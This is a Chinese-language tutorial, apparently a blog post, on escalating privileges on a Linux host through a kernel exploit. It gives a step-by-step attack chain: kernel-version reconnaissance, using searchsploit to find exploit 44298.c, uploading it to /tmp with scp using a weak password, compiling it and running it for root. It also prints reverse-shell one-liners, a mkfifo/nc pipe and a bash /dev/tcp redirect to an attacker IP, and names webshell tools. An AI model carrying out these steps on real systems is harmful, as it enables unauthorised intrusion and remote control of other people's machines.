目录
一.概述
二.利用步骤
1.信息收集
(1)用户权限
?(2)内核版本(uname -r)
??(3)内核版本信息(cat /etc/issue)
2.提权
(1)搜索内核版本EXP(searchsploit 内核版本)
?(2)EXP上传目标主机
(3)目标主机编译EXP(gcc exp.c -o payload)
3.其他(无法提权情况)
(1)nc监听(nc -lvp 监听端口)
(2)shell反弹
三.内核提权总结
一.概述
Linux系统漏洞的exp一般按照内核版本来命名:2.6.18-194或2.6.18.c。形如2.6.18-194,可以直接执行;形如2.6.18.c,需要编译后运行,提权。 当然也有少部分exp是按照发行版版本命名。在使用exp提权时直接使exp执行即可,一般情况下linux的本地提权要用nc反弹出来,因为Linux下提升权限后得到的是交互式shell,需反弹才能进行下一步命令的执行。 那么我们如何知道使用哪个exp来提权呢?使用uname-a命令或者cat/proc/version,来判断系统的内核情况等等,然后使用相对应的exp进行提权。 1.提权过程中需要为你的提权exp赋权,使用chmod命令。 2.linux服务器很多情况下管理员会设置目录权限,普通权限无法修改,但是一般/tmp/目录不会被设置权限,这和windows下的tmp和回收站是一个道理。
二.利用步骤
1.信息收集
(1)用户权限
执行命令id,查看当前用户的UID及GID。UID和GID为1000,确认为普通用户
?(2)内核版本(uname -r)
普通用户权限有很多限制,因此可以通过内核提权来突破这些限制。执行命令uname -r,查看内核版本
(3)内核版本信息(cat /etc/issue)
执行命令cat/etc/issue,发现系统版本为Ubuntu 16.04.3,为后面寻找EXP进行内核提权做准备
?
2.提权
(1)搜索内核版本EXP(searchsploit 内核版本)
使用Kali下的searchsploit命令,根据目标主机内核版本linux4.4.0线索搜索对应EXP。执行命令searchsploit ?linux ?4.4.0ubuntu,搜索系统内核为4.4.0的相关漏洞,根据信息收集步骤得知目标主机操作系统Ubuntu16.04.3内核为4.4.0-93,目标主机内核小于4.4.0-116,并且系统版本也符合16.04,所以使用的EXP为44298.c。
?(2)EXP上传目标主机
上传方法一(kali直接上传):
定位到EXP后下一步要将EXP上传至目标主机。如果目标主机是弱口令获取的Shell,可以执行命令scp /usr/share/exploitdb/exploits/linux/local/44298.c? 目标主机名@目标主机IP :/tmp,上传EXP,输入yes确认连接,并在系统询问时输入用户弱口令密码。
?之所以要拷贝到tmp目录,是因为通常所有用户对此目录都具有读写权限,scp为Linux的传输命令
(3)目标主机编译EXP(gcc exp.c -o payload)
进入目标主机,执行命令cd /tmp,切换至/tmp目录。由于上传的EXP为C语言程序,所以需要执行命令gcc 44298.c-o payload,使用gcc编译上传的EXP保存至名为payload的文件。
再执行命令./payload,运行编译输出的文件,此时系统已提升为root权限,执行命令whoami,进行验证
?上传方法二:
(1)在Kali中将EXP文件下载 ——通过蚁剑/冰蝎/哥斯拉等工具将文件上传至目标主机tmp目录下——在蚁剑/冰蝎/哥斯拉工具下使用虚拟终端gcc编译exp——提权
3.其他(无法提权情况)
有时候如果exp文件有可执行权限,直接执行./exp后发现却不能执行root命令,无法提权。这是为什么呢? 这是因为webshell并不是可交互式shell,执行程序是一次性执行,并不持续,所以这就需要首先获取一个可交互式shell,Linux下有nc,为了安全起见,取消了-e选项,避免了反弹/bin/bash,可以通过建立通信管道来进行nc反弹shell。
(1)nc监听(nc -lvp 监听端口)
新建一个终端利用nc监听2345端口,命令为nc -lvp 2345
(2)shell反弹
在AntSword/冰蝎工具中中切换到虚拟终端中执行
rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 监听端口>/tmp/f 然后在nc中就可以看到反弹回来的shell了
(3)除了上面利用nc的方式外,还可以使用bash -i>& /dev/tcp/攻击机IP/ 监听端口 0>&1来反弹shell (4)输入命令./exp执行提权
三.内核提权总结
先信息收集到内核版本-----再利用kali进行exp寻找-----找到之后将exp上传(或拷贝)到目标主机的tmp目录下-----目标主机tmp目录下gcc执行上传的payload-----提权。
|